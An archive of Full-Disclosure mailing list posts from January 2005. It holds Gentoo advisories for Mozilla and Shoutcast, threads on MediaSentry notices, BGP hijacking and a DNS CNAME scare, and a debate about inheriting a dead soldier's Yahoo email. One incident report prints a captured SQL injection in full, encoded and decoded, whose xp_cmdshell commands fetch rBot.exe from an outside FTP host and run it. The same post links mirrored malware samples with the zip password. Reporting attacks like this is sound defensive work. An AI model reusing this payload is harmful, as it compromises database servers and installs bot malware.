01/01/2005 - Vendor confirmed bug
04/01/2005 - Bug published in vendor page and advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB2u8d3RWooxY20cIRArbIAJsEu1pSqJuHdYpWmOO76oHoTxcixACgj/sP
BcUAER8m/maxIApdZEQ0MfA=
=LZ+j
-----END PGP SIGNATURE-----


From chromazine at sbcglobal.net  Tue Jan  4 23:23:43 2005
From: chromazine at sbcglobal.net (Steve Kudlak)
Date: Tue, 04 Jan 2005 15:23:43 -0800
Subject: [Full-Disclosure] Example of Legal Ruling involving Internet
 Issues: >> Re: Yahoo and inheiriting someone's email
Message-ID: <41DB257F.8050609@sbcglobal.net>


Here is an example of a court ruling that involves legal issues and the 
Internet, where there was a "real world" way thing have been done with 
real world things and a representation that since the Internet was 
global it meant that one was "targeting people in Maryland" . It also 
relates to the convoluted depths some legal things can become. It is 
long but it gets some idea of how courts work in matters like these. It 
likes at:

http://www.mdd.uscourts.gov/Opinions152/Opinions/shamsuddin11302004.pdf

Have Fun,
Sends Steve

.



From kkadow at gmail.com  Wed Jan  5 05:22:27 2005
From: kkadow at gmail.com (Kevin)
Date: Tue, 4 Jan 2005 23:22:27 -0600
Subject: [Full-Disclosure] MediaSentry false positives?
Message-ID: <dc718edc050104212217392af6@mail.gmail.com>

Has anybody received "Notice of claimed infringement" from MediaSentry
for IP addresses which, while registered to you or your organization,
are in a range not actively in use?

I recently received two notices from MediaSentry for MPAA material,
each listing a single file shared via Kazaa, for two very different IP
addresses for which I am a contact.

In both cases, the IP addresses reported were in fact within the range
allocated, however the address shown is not only not in use, no
address with the same first three octets is either used or announced
via BGP, nor have they ever been publicly visible.


I see two likely possibilities -- either MediaSentry is not using due
diligence in verifying that the material for which they send
infringement notices is actually shared from the address they show in
the complaint,  or somebody on the Internet is spoofing BGP route
announcements for unused address space out of larger allocations.

Before I panic and start researching solutions to address the latter
problem, I'm hoping to first verify whether in fact the MediaSentry
notices have any basis in fact?


Thanks,

Kevin Kadow

(P.S. If you have received a similar "Notice of claimed infringement"
letter from MediaSentry for unused IP addresses, please feel free to
contact me privately.)


From koon at gentoo.org  Wed Jan  5 09:09:24 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Wed, 05 Jan 2005 10:09:24 +0100
Subject: [Full-Disclosure] [ GLSA 200501-03 ] Mozilla, Firefox,
	Thunderbird: Various vulnerabilities
Message-ID: <41DBAEC4.60100@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Mozilla, Firefox, Thunderbird: Various vulnerabilities
      Date: January 05, 2005
      Bugs: #76112, #68976, #70749
        ID: 200501-03

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Various vulnerabilities were found and fixed in Mozilla-based products,
ranging from a potential buffer overflow and temporary files disclosure
to anti-spoofing issues.

Background
==========

Mozilla is a popular web browser that includes a mail and newsreader.
Mozilla Firefox and Mozilla Thunderbird are respectively the
next-generation browser and mail client from the Mozilla project.

Affected packages
=================

    -------------------------------------------------------------------
     Package                  /  Vulnerable  /              Unaffected
    -------------------------------------------------------------------
  1  mozilla                       < 1.7.5                    >= 1.7.5
  2  mozilla-bin                   < 1.7.5                    >= 1.7.5
  3  mozilla-firefox                < 1.0                       >= 1.0
  4  mozilla-firefox-bin            < 1.0                       >= 1.0
  5  mozilla-thunderbird            < 0.9                       >= 0.9
  6  mozilla-thunderbird-bin        < 0.9                       >= 0.9
    -------------------------------------------------------------------
     6 affected packages on all of their supported architectures.
    -------------------------------------------------------------------

Description
===========

Maurycy Prodeus from isec.pl found a potentially exploitable buffer
overflow in the handling of NNTP URLs. Furthermore, Martin (from
ptraced.net) discovered that temporary files in recent versions of
Mozilla-based products were sometimes stored world-readable with
predictable names. The Mozilla Team also fixed a way of spoofing
filenames in Firefox's "What should Firefox do with this file" dialog
boxes and a potential information leak about the existence of local
filenames.

Impact
======

A remote attacker could craft a malicious NNTP link and entice a user
to click it, potentially resulting in the execution of arbitrary code
with the rights of the user running the browser. A local attacker could
leverage the temporary file vulnerability to read the contents of
another user's attachments or downloads. A remote attacker could also
design a malicious web page that would allow to spoof filenames if the
user uses the "Open with..." function in Firefox, or retrieve
information on the presence of specific files in the local filesystem.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Mozilla users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-www/mozilla-1.7.5"

All Mozilla binary users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-www/mozilla-bin-1.7.5"

All Firefox users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-www/mozilla-firefox-1.0"

All Firefox binary users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-www/mozilla-firefox-bin-1.0"

All Thunderbird users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose
">=mail-client/mozilla-thunderbird-0.9"

All Thunderbird binary users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose
">=mail-client/mozilla-thunderbird-bin-0.9"

References
==========

  [ 1 ] isec.pl Advisory
        http://isec.pl/vulnerabilities/isec-0020-mozilla.txt
  [ 2 ] Martin (from ptraced.net) Advisory
        http://broadcast.ptraced.net/advisories/008-firefox.thunderbird.txt
  [ 3 ] Secunia Advisory SA13144
        http://secunia.com/advisories/13144/

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-03.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 189 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/6e3e96e0/attachment.bin 

From rienzi at nimrod.com.mx  Wed Jan  5 05:56:59 2005
From: rienzi at nimrod.com.mx (rienzi at nimrod.com.mx)
Date: Tue, 4 Jan 2005 23:56:59 -0600 (CST)
Subject: [Full-Disclosure] Tiger Teams
Message-ID: <3453.201.129.217.193.1104904619.squirrel@201.129.217.193>

Hi
I?m looking for tiger teams around that works with enterprises dedicated
to TI research , i?m lookin some way to contact them maybe a
web page, email or something like that.


Thank's

Darkslaker



From MRMyers at anteon.com  Wed Jan  5 11:27:24 2005
From: MRMyers at anteon.com (Myers, Marvin)
Date: Wed, 5 Jan 2005 06:27:24 -0500
Subject: [Full-Disclosure] Example of Legal Ruling involving Internet
	Issues: >> Re: Yahoo and inheiriting someone's email
Message-ID: <56600C3FCD14014DBE2A5816936EB1B0364CFB@HQ-EXVS03.anteon.com>

One of the core issues here is or should be whether or not the defendant
specifically targeted the residents of the state where the plaintiff is
trying to claim jurisdiction. There are many websites out there that may
be advertising products and or services that may be illegal for sale or
use in my state, but unless they are specifically targeting residents of
my state or forcing their websites upon the people of my state, then it
should be the jurisdiction of the state where the entity claims
residence that has ultimate jurisdiction. 

In the case of the Yahoo E-mail issue, I believe that the e-mails should
belong to the estate of the dead soldier, just as any other article that
was originally intentioned to belong to him now belongs to his estate
after his death. It would be a sad situation where all of a person's
belongings were deemed to belong to the person who had possession of the
goods at the time of death of an individual. Yahoo should turn the
e-mails over to the soldier's e-state and allow the executor of the
e-state to determine the ownership of the e-mails during the course of
probate. 

Just my opinion, to which I am entitled.
Marvin R. Myers  CISSP


-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Steve
Kudlak
Sent: Tuesday, January 04, 2005 6:24 PM
To: fulldis
Subject: [Full-Disclosure] Example of Legal Ruling involving Internet
Issues: >> Re: Yahoo and inheiriting someone's email


Here is an example of a court ruling that involves legal issues and the 
Internet, where there was a "real world" way thing have been done with 
real world things and a representation that since the Internet was 
global it meant that one was "targeting people in Maryland" . It also 
relates to the convoluted depths some legal things can become. It is 
long but it gets some idea of how courts work in matters like these. It 
likes at:

http://www.mdd.uscourts.gov/Opinions152/Opinions/shamsuddin11302004.pdf

Have Fun,
Sends Steve

.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From fw at deneb.enyo.de  Wed Jan  5 12:00:41 2005
From: fw at deneb.enyo.de (Florian Weimer)
Date: Wed, 05 Jan 2005 13:00:41 +0100
Subject: [Full-Disclosure] MediaSentry false positives?
In-Reply-To: <dc718edc050104212217392af6@mail.gmail.com> (kkadow@gmail.com's
	message of "Tue, 4 Jan 2005 23:22:27 -0600")
References: <dc718edc050104212217392af6@mail.gmail.com>
Message-ID: <87y8f8f5li.fsf@deneb.enyo.de>

> Has anybody received "Notice of claimed infringement" from MediaSentry
> for IP addresses which, while registered to you or your organization,
> are in a range not actively in use?

I've independently received another report of this problem.

> I see two likely possibilities -- either MediaSentry is not using due
> diligence in verifying that the material for which they send
> infringement notices is actually shared from the address they show in
> the complaint,  or somebody on the Internet is spoofing BGP route
> announcements for unused address space out of larger allocations.

RIPE doesn't have an announcement of the prefix, so I think
MediaSentry was in error.

I don't think it makes sense for MediaSentry to check their findings
more closely from a business perspective.  They don't try to download
the infringing material to confirm that redistribution actually takes
place, either.


From kin186 at hackermail.com  Wed Jan  5 13:42:24 2005
From: kin186 at hackermail.com (White Self-Existing World-Bridger)
Date: Wed, 05 Jan 2005 21:42:24 +0800
Subject: [Full-Disclosure] DMA[2005-0103a] - 'William LeFebvre "top" format
 string vulnerability'
Message-ID: <20050105134224.DA5AA7A8C8C@ws4-4.us4.outblaze.com>

> Kevin Finisterre On Wed, 2004-11-24 at 04:38 notifies the vendor! 4 years 
> later! This bug was found alive and kicking in the Solaris 10 Sun freeware 
> package.

LOL! Yeah it seems a lot of interesting bugs slip through the cracks. I wonder
what other tasty morsels are lurking out there. Thanks for the PoC.

--
  kin 186: White Self-Existing World-Bridger 
  ------------------------------------------
  I Define in order to Equalize
  Measuring Opportunity
  I seal the Store of Death
  With the Self-Existing tone of Form
  I am guided by the power of Spirit
-- 
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze



From nicholasnam at hush.com  Wed Jan  5 14:45:08 2005
From: nicholasnam at hush.com (nicholasnam at hush.com)
Date: Wed,  5 Jan 2005 06:45:08 -0800
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?
Message-ID: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Is anyone else seeing this:

- --SNIP--
;; QUESTION SECTION:
;www.microsoft.com.             IN      A

;; ANSWER SECTION:
www.microsoft.com.      2415    IN      CNAME
www.microsoft.com.nsatc.net.
- --SNIP--

Notice that www.microsoft.com is a cname for
www.microsoft.com.nsatc.net.  It's not limited to www.microsoft.com
and to the best of my knowledge the correct web content is
displayed.
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkHb/bwACgkQQOst28rex96r7wCgsFrpGByDC4YOskegpoIOetZsfMQA
oIqgBD6fqzV1t57I/Yh+ayae4Z/Z
=xvDv
-----END PGP SIGNATURE-----



From Valdis.Kletnieks at vt.edu  Wed Jan  5 14:53:55 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Wed, 05 Jan 2005 09:53:55 -0500
Subject: [Full-Disclosure] MediaSentry false positives? 
In-Reply-To: Your message of "Tue, 04 Jan 2005 23:22:27 CST."
	<dc718edc050104212217392af6@mail.gmail.com> 
References: <dc718edc050104212217392af6@mail.gmail.com>
Message-ID: <200501051453.j05ErtS5031948@turing-police.cc.vt.edu>

On Tue, 04 Jan 2005 23:22:27 CST, Kevin said:

> the complaint,  or somebody on the Internet is spoofing BGP route
> announcements for unused address space out of larger allocations.

This is actually quite likely a possibility.  There are enough tier-1's who do
a piss-poor job of filtering their BGP feeds that if you can inject an
announcement you can hijack the address block. This is being actively abused by
several different groups of spammers. You might want to wander over to the
NANOG list archives and search for 'BGP hijack' and/or poke one/several of the
BGP looking glasses out there to see if there's an announcement for your space.

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/6337c45d/attachment.bin 

From Valdis.Kletnieks at vt.edu  Wed Jan  5 14:55:30 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Wed, 05 Jan 2005 09:55:30 -0500
Subject: [Full-Disclosure] MediaSentry false positives? 
In-Reply-To: Your message of "Wed, 05 Jan 2005 13:00:41 +0100."
	<87y8f8f5li.fsf@deneb.enyo.de> 
References: <dc718edc050104212217392af6@mail.gmail.com>
	<87y8f8f5li.fsf@deneb.enyo.de>
Message-ID: <200501051455.j05EtUf8000455@turing-police.cc.vt.edu>

On Wed, 05 Jan 2005 13:00:41 +0100, Florian Weimer said:

> RIPE doesn't have an announcement of the prefix, so I think
> MediaSentry was in error.

Did you just check the RADB, or did you actually poke a looking glass to
see what's actually being announced?
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/fd3ae73b/attachment.bin 

From fw at deneb.enyo.de  Wed Jan  5 15:03:27 2005
From: fw at deneb.enyo.de (Florian Weimer)
Date: Wed, 05 Jan 2005 16:03:27 +0100
Subject: [Full-Disclosure] MediaSentry false positives?
In-Reply-To: <200501051455.j05EtUf8000455@turing-police.cc.vt.edu> (Valdis
	Kletnieks's message of "Wed, 05 Jan 2005 09:55:30 -0500")
References: <dc718edc050104212217392af6@mail.gmail.com>
	<87y8f8f5li.fsf@deneb.enyo.de>
	<200501051455.j05EtUf8000455@turing-police.cc.vt.edu>
Message-ID: <87ekgzc400.fsf@deneb.enyo.de>

* Valdis Kletnieks:

> On Wed, 05 Jan 2005 13:00:41 +0100, Florian Weimer said:
>
>> RIPE doesn't have an announcement of the prefix, so I think
>> MediaSentry was in error.
>
> Did you just check the RADB, or did you actually poke a looking glass to
> see what's actually being announced?

I searched the RIS database (and hoped that it's reasonably accurate).


From lewk at gentoo.org  Wed Jan  5 15:26:58 2005
From: lewk at gentoo.org (Luke Macken)
Date: Wed, 5 Jan 2005 10:26:58 -0500
Subject: [Full-Disclosure] [ GLSA 200501-04 ] Shoutcast Server: Remote code
	execution
Message-ID: <20050105152658.GA10527@tomservo.ne1.client2.attbi.c>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-04
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Shoutcast Server: Remote code execution
      Date: January 05, 2005
      Bugs: #75482
        ID: 200501-04

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Shoutcast Server contains a possible buffer overflow that could lead to
the execution of arbitrary code.

Background
==========

Shoutcast Server is Nullsoft's streaming audio server. It runs on a
variety of platforms, including Linux, and is extremely popular with
Internet broadcasters.

Affected packages
=================

    -------------------------------------------------------------------
     Package                           /   Vulnerable   /   Unaffected
    -------------------------------------------------------------------
  1  media-sound/shoutcast-server-bin      <= 1.9.4-r1        >= 1.9.5

Description
===========

Part of the Shoutcast Server Linux binary has been found to improperly
handle sprintf() parsing.

Impact
======

A malicious attacker could send a formatted URL request to the
Shoutcast Server. This formatted URL would cause either the server
process to crash, or the execution of arbitrary code.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Shoutcast Server users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-sound/shoutcast-server-bin-1.9.5"

References
==========

  [ 1 ] BugTraq Announcement
        http://www.securityfocus.com/archive/1/385350

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-04.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/90c63bea/attachment.bin 

From precarious_panther at bigpond.com  Wed Jan  5 15:41:48 2005
From: precarious_panther at bigpond.com (Adam)
Date: Thu, 06 Jan 2005 02:41:48 +1100
Subject: [Full-Disclosure] RE: Yahoo Email Policy "Debate"
In-Reply-To: <20050103130812.Y41653@ubzr.zsa.bet>
References: <NMEAJDJMDLJLOIOCIKJJOEBOFOAA.exibar@thelair.com>
	<20050103130812.Y41653@ubzr.zsa.bet>
Message-ID: <41DC0ABC.9070401@bigpond.com>

Some important issues I think that a lot of people are overlooking in 
this case is that not everything that a person "owns" can be considered 
estate to be passed on to their next of kin, especially in the case of 
emails, letters, and other mediums of communication. One of the key 
differences between standard estate (for example, my computer :P), and 
communication is that the ownership of my computer is clear-cut, there 
are few (if any) other legalitys regarding its ownership - where as 
emails and letters are not "your property" just because they have been 
sent to you, both morally and legally.

For example, if I send an email to somebody close to me that outlines 
personal material which I would consider "for their eyes only" - if that 
someone happened to pass away I (and I am sure most people in the same 
position) would not like that information to be given out to whoever 
their family/next of kin was - even if they were trustworthy I simply do 
not know them.

As for legally, many documents/emails are marked "for the recipient 
listed only" as they contain information that only that person - NOT 
their next of kin or anybody else - is meant to see.  For example, an 
employee may be handling client information for the company they work 
for through email (whether it be a personal or company email address). 
My mother is a counsellor and does a lot of online email correspondence 
with her customers. If god-forbid she passed away, do I have the right 
to know the mental issues of her patients (people who I may also know) 
just because she passed away? The point to this is that with property 
estate such as bank accounts, computers, pet fish, etc, the only person 
who would be affected by the transfer of the estate is deceased - and 
most likely wouldnt mind. HOWEVER, correspondence is most often the 
"property" by more than one person and a transfer of estate of such 
would breach the rights of others in most cases.
I realise that in the currently publicised issue the soldier(?) most 
likely didn't have anything other than personal letters in his account - 
but unless he was writing all of them to himself the are other issues 
legally and morally surrounding a transfer of ownership.

I do realise that the family of the deceased wishes to read whatever 
words he has written - and I would feel the same were I in their 
position. That doesn't however mean that it should happen.

This discussion isn't really they type of material that is supposed to 
be being posted in Full Disclosure, so sorry to anybody this response 
has annoyed :P

Just an opinion.
-Panther


J.A. Terranson wrote:

>On Wed, 29 Dec 2004, Exibar wrote:
>
>  
>
>>Yes I am aware that the laws differe from state to state.  This would be a
>>federal case, a US Federal case, if it ever got that far, it won't.
>>    
>>
>
>You wanna explain how you came to this brilliant conclusion?  How is an
>estate issue federal?
>
>  
>
>> No
>>IANAL, but have first hand knowledge of a case very similliar to this.
>>    
>>
>
>Stop watching TV.
>
>  
>
>>Digital property and physical property are considered the same in cases like
>>this.  It is something owned by the deceased.  It becomes the property of
>>the inheritor.
>>    
>>
>
>I hope your "consulting practice" doesn't hand out opinions like this.
>
>
>  
>
>>  No I cannot cite case law to back up my statements.
>>    
>>
>
>Then you are making this shit up as you go.
>
>
>  
>
>>  If someone were to die without a will, and their
>>parents/wife/husband/kids/ etc are the legal hiers, wouldn't they also
>>inherit that person's ameritrade stock broker account, or at least
>>everything inside said account?  Why is e-mail different?
>>    
>>
>
>So, here you are asking questions that show you don't have a clue, after
>telling us how you *know*...  Just stop trying to be the One Source Of
>Knowledge, and STFU when you don't know what you're talking about.
>
>  
>
>> Exibar
>>    
>>
>
>
>  
>



From delist at waveresearchlabs.com  Wed Jan  5 16:38:19 2005
From: delist at waveresearchlabs.com (Duane Toler)
Date: Wed, 05 Jan 2005 11:38:19 -0500
Subject: [Full-Disclosure] Re: YET AGAIN Automatic remote compromise of
 InternetExplorer Service Pack 2 XP SP2
Message-ID: <41DC17FB.3060808@waveresearchlabs.com>

 >> They totally forgot HTA files and HTM help files. Who knows what >>else.
 >I do ;)

 >About switching to FireFox: if you drive a car you might end up in a
 >car-crash, changing cars doesn't prevent that. If 90% of people would >be
 >driving the exact same car, it's obvious most car-crashes will involve
 >that car.
 >
 >Cheers,
 >
 >SkyLined

This is a false analogy.  Perhaps you mean to rephrase such as:

"If you drive a car *with a malfunction*, you might end up in a car 
crash *caused by that malfunction*."

Any car carries the possibility of being in a car crash.  The elements 
beyond your control are what increase or decrease the probability of 
your car crash.

Such as:

"By switching to another car, without the same, or with a lesser, 
malfunction, you reduce the chances of having a car crashed by that 
malfunction"



(cat - | sed 's/car/browser/g')


From mducharme at cybergeneration.com  Wed Jan  5 17:22:54 2005
From: mducharme at cybergeneration.com (Maxime Ducharme)
Date: Wed, 5 Jan 2005 12:22:54 -0500
Subject: [Full-Disclosure] SQL injection worm ?
Message-ID: <022d01c4f34b$311d3130$b000a8c0@cybergeneration.com>


Hi list,
    we receveid a particular SQL injection attack
on one of our site.

Attack looks like :
2005-01-05 14:39:20 24.164.202.24 - W3SVCX SRVNAME x.x.x.x 80 GET
/Nouvelles.asp
id_nouvelle=377';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68
%65%6C%6C%20'mkdir%20%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5C';%65%7
8%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20op
en%20217.199.183.122%2021%20%3E%3E%20%25systemroot%25%5Csystem32%5CMacromed%
5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%
68%65%6C%6C%20'echo%20USER%20hahajk%20hahaowned%20%3E%3E%20%25systemroot%25%
5Csystem32%5Cmacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..
%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20get%20rBot.exe%20%25systemroot%2
5%5Csystem32%5CMacromed%5Clolx%5Carcdlrde.exe%20%3E%3E%20%25systemroot%25%5C
system32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%7
8%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20quit%20%3E%3E%20%25systemroot%25%5
Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%
78%70%5F%63%6D%64%73%68%65%6C%6C%20'ftp.exe%20-i%20-n%20-v%20-s:%25systemroo
t%25%5Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45
%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'del%20%25systemroot%25%5Csystem32%
5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%6
3%6D%64%73%68%65%6C%6C%20'%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5Car
cdlrde.exe'--|17|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Lin
e_1:_Incorrect_syntax_near_''. 500 0 0 1395 570 HTTP/1.1
attacked.web.site.com - - -

HTTP request contains only 2 fields (beside HTTP method) :
Connection: Keep-Alive
Host: attacked.web.site.com

(I obviously replaced the name of the site).

Decoded SQL injection looks like :
exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\';
exec MASTER..xp_cmdshell 'echo open y.y.y.y 21 >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo USER hahajk hahaowned >>
%systemroot%\system32\macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo get rBot.exe
%systemroot%\system32\Macromed\lolx\arcdlrde.exe >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo quit >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell
'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell '%systemroot%\system32\Macromed\lolx\arcdlrde.exe

y.y.y.y is a foreign IP in Europe which host FTP an WWW server.
I sent a notice this this site sysadmin about the situation.

I have been able to connect to this FTP with the account hahajk/hahaowned
(which do not seem legit to me ...) and download suspicious files.
I mirrored them here :
http://www.cybergeneration.com/security/2005.01.05/rbot.exe_ftp.zip
zip pass is 968goyw439807r3qw

24.164.202.24 is on rr.com networks, they have also been advised.

I know rbot.exe is known to be Randex worm, but i'd like that have
some other results / analysis.

I also found a "test.asp" file which contains the Spybot worm.

Weird thing is, I searched for this hosts's activity on every server
and every firewall we run, and I only see 1 TCP connection which
is the prepared SQL injections attack, nothing else.

Anybody see similar activity ?

I'm asking since I want to know if we are targeted by someone of
by a worm like Santy of use search engines to find vulnerable
ASP scripts.

Thanks in advance

Happy new year to everyone !

Maxime Ducharme
Programmeur / Sp?cialiste en s?curit? r?seau





From danbuk at gmail.com  Wed Jan  5 18:29:10 2005
From: danbuk at gmail.com (DanBUK)
Date: Wed, 05 Jan 2005 18:29:10 +0000
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?
In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>
Message-ID: <YaUHr70J.1104949750.5026180.dan@digibox.daemonbox.de>

I see the same, but I don't think there is an issue.

C:\WINDOWS>nslookup
Default Server:  pmsidc03.pmsi.local
Address:  192.168.42.13

> set type=cname
> www.microsoft.com
Server:  pmsidc03.pmsi.local
Address:  192.168.42.13

Non-authoritative answer:
www.microsoft.com       canonical name = www.microsoft.com.nsatc.net
> set type=a
> www.microsoft.com
Server:  pmsidc03.pmsi.local
Address:  192.168.42.13

Non-authoritative answer:
Name:    www.microsoft.com.nsatc.net
Addresses:  207.46.156.252, 207.46.244.188, 207.46.245.156, 207.46.249.252
          207.46.250.252, 207.46.144.222, 207.46.156.156, 207.46.156.220
Aliases:  www.microsoft.com

Cheers,
DanBUK.

DanB UK
London, UK.



From fw at deneb.enyo.de  Wed Jan  5 18:12:43 2005
From: fw at deneb.enyo.de (Florian Weimer)
Date: Wed, 05 Jan 2005 19:12:43 +0100
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?
In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>
	(nicholasnam@hush.com's message of "Wed, 5 Jan 2005 06:45:08 -0800")
References: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>
Message-ID: <87r7kz7nj8.fsf@deneb.enyo.de>

> Is anyone else seeing this:
>
> --SNIP--
> ;; QUESTION SECTION:
> ;www.microsoft.com.             IN      A
>
> ;; ANSWER SECTION:
> www.microsoft.com.      2415    IN      CNAME
> www.microsoft.com.nsatc.net.
> --SNIP--
>
> Notice that www.microsoft.com is a cname for
> www.microsoft.com.nsatc.net.  It's not limited to www.microsoft.com
> and to the best of my knowledge the correct web content is
> displayed.

AFAIK, this is a side effect because Microsoft uses Savvis' content
distribution network.

This is by no means a recent change.  It's been this way since last
June, probably much longer (I haven't got older data).


From kf_lists at digitalmunition.com  Wed Jan  5 18:19:26 2005
From: kf_lists at digitalmunition.com (KF (lists))
Date: Wed, 05 Jan 2005 13:19:26 -0500
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?
In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>
References: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>
Message-ID: <41DC2FAE.8070609@digitalmunition.com>


http://www.talkaboutsoftware.com/group/microsoft.public.windowsme.general/messages/241011.html


-KF

nicholasnam at hush.com wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Is anyone else seeing this:
>
>- --SNIP--
>;; QUESTION SECTION:
>;www.microsoft.com.             IN      A
>
>;; ANSWER SECTION:
>www.microsoft.com.      2415    IN      CNAME
>www.microsoft.com.nsatc.net.
>- --SNIP--
>
>Notice that www.microsoft.com is a cname for
>www.microsoft.com.nsatc.net.  It's not limited to www.microsoft.com
>and to the best of my knowledge the correct web content is
>displayed.
>-----BEGIN PGP SIGNATURE-----
>Note: This signature can be verified at https://www.hushtools.com/verify
>Version: Hush 2.4
>
>wkYEARECAAYFAkHb/bwACgkQQOst28rex96r7wCgsFrpGByDC4YOskegpoIOetZsfMQA
>oIqgBD6fqzV1t57I/Yh+ayae4Z/Z
>=xvDv
>-----END PGP SIGNATURE-----
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>
>  
>



From infsec at gmail.com  Wed Jan  5 19:57:56 2005
From: infsec at gmail.com (Willem Koenings)
Date: Wed, 5 Jan 2005 21:57:56 +0200
